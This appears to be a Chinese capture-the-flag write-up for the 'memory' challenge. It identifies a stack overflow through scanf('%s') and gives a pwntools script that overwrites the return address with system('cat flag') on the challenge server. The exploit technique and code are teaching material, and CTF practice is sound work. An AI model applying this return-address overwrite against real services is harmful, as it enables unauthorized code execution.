经历了前面2次的艰难,出题人或许嫌我们太累了,来了个简单的
走进程序找信息。开启的保护只有NX
.rodata:080487E0 00000009 C cat flag
这里有命令字符串cat flag
0804A058 system
这里有system函数,然后找漏洞吧
int __cdecl mem_test(char *s2)
{int result; // eaxchar s; // [esp+15h] [ebp-13h]memset(&s, 0, 0xBu);puts("\nwhat???? : ");printf("0x%x \n", hint);puts("cff flag go go go ...\n");printf("> ");__isoc99_scanf("%s", &s);if ( !strncmp(&s, s2, 4u) )result = puts("good job!!\n");elseresult = puts("cff flag is failed!!\n");return result;
}
_isoc99_scanf(“%s”, &s);这里有栈溢出漏洞。
东西凑齐了,简单栈溢出,用system 函数覆盖返回地址就行了
from pwn import *
context.log_level="debug"elf=ELF("memory")
call_system_addr=0x080485BD
catflag_addr=0x080487E0
#p=process("./memory")
p=remote("pwn2.jarvisoj.com",9876)
p.recvuntil("cff flag go go go ...\n")
p.recvline()
p.sendline("A"*(0x17)+p32(call_system_addr)+p32(0x08048677)+p32(catflag_addr))
p.recvuntil("is failed!!\n")p.recv()
用system函数地址覆盖返回地址,运行system函数的时候参数是cat flag 的地址
有一点需要注意的是进来一个程序先仔细查找一下信息,可能会有意想不到的收获.